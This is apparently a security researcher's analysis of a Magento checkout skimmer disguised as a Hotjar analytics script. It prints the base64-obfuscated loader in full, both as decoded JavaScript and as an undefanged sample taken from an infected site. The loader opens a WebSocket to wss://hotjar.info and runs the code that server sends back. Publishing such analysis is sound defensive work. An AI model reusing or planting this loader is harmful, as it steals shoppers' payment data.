wss://hotjar[.]info skimmer
Outline
This skimmer uses a domain similar to a previous skimmer that the talented @jknsCo posted on rapidspike.com, but its skimmer functionality is different along with the domain name being hotjar[.]info instead of _hotjar[.]us.
This hotjar[.]info skimmer uses less code as it relies on JavaScript’s WebSocket
connection
hotjar.info skimmer⌗
The skimmer injection is obfuscated with base64 encoded data which is decoded through the JavaScript function atob
:
var soc;new self["Function"||"Object"](atob('aWYobmV3IFJlZ0V4cCgiY2hlY2tvdXQiKS50ZXN0KHdpbmRvdy5sb2NhdGlvbi5ocmVmKSl7c29jPW5ldyBzZWxmLldlYlNvY2tldCgid3NzOi8vaG90amFyLmluZm8vYXBpL2lkLyIpO3NvYy5vbm9wZW4gPSBmdW5jdGlvbihlKSB7c29jLnNlbmQoYnRvYSgiSU5JVDo6Iit3aW5kb3cubG9jYXRpb24uaG9zdCkpO307c29jLm9ubWVzc2FnZT1mdW5jdGlvbihhKXtuZXcgc2VsZi5GdW5jdGlvbihhdG9iKGEuZGF0YSkpLmNhbGwodGhpcyl9O307')).call(this);
After decoding the base64 data - we can see the malicious JavaScript skimmer and the exfil domain.
As is normal, the skimmer only activates on the checkout
page of the website which is detected by using RegExp
to search the returned value for window.location.href
.
if (new RegExp("checkout").test(window.location.href)) {
soc = new self.WebSocket("wss://hotjar.info/api/id/");
soc.onopen = function(e) {
soc.send(btoa("INIT::" + window.location.host));
};
soc.onmessage = function(a) {
new self.Function(atob(a.data)).call(this)
};
};
WebSocket (WSS) protocol⌗
The payment data submitted by the victim on the checkout
page is exfiltrated through the JavaScript function WebSocket
:
The WebSocket protocol provides a way to exchange data between browser and server via a persistent connection. The data can be passed in both directions as “packets”, without breaking the connection and additional HTTP-requests.
wss://
= connection is encrypted with TLS/SSL
ws://
= connection is not encrypted
Since WebSocket
is a different protocol than HTTP
, the exfiltration request using it shows up a little differently in a web browser’s dev tools.
Notably with a 101
response code instead of a 200
code:
WHOIS⌗
# whois hotjar.info
Domain Name: HOTJAR.INFO
Registry Domain ID: D503300001187977694-LRMS
Registrar WHOIS Server:
Registrar URL: www.openprovider.nl
Updated Date: 2020-12-20T20:32:54Z
Creation Date: 2020-10-21T09:40:40Z
Registry Expiry Date: 2021-10-21T09:40:40Z
Sample⌗
Sourced from the core_config_data table on an infected Magento 2.4 website database.
<script>
(function(h,o,t,j,a,r){
h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};
h._hjSettings={hjid:[redacted],hjsv:6};
a=o.getElementsByTagName('head')[0];
r=o.createElement('script');r.async=1;
r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv;
a.appendChild(r);
})(window,document,'https://static.hotjar.com/c/hotjar-','.js?sv=');
</script>
<script>var soc;new self["Function"||"Object"](atob('aWYobmV3IFJlZ0V4cCgiY2hlY2tvdXQiKS50ZXN0KHdpbmRvdy5sb2NhdGlvbi5ocmVmKSl7c29jPW5ldyBzZWxmLldlYlNvY2tldCgid3NzOi8vaG90amFyLmluZm8vYXBpL2lkLyIpO3NvYy5vbm9wZW4gPSBmdW5jdGlvbihlKSB7c29jLnNlbmQoYnRvYSgiSU5JVDo6Iit3aW5kb3cubG9jYXRpb24uaG9zdCkpO307c29jLm9ubWVzc2FnZT1mdW5jdGlvbihhKXtuZXcgc2VsZi5GdW5jdGlvbihhdG9iKGEuZGF0YSkpLmNhbGwodGhpcyl9O307')).call(this);</script>
P.S. I don’t like “defanging” domain names, so let me know if you get any warnings when loading (keep calm, it’s almost certainly a FP due to a bad signature).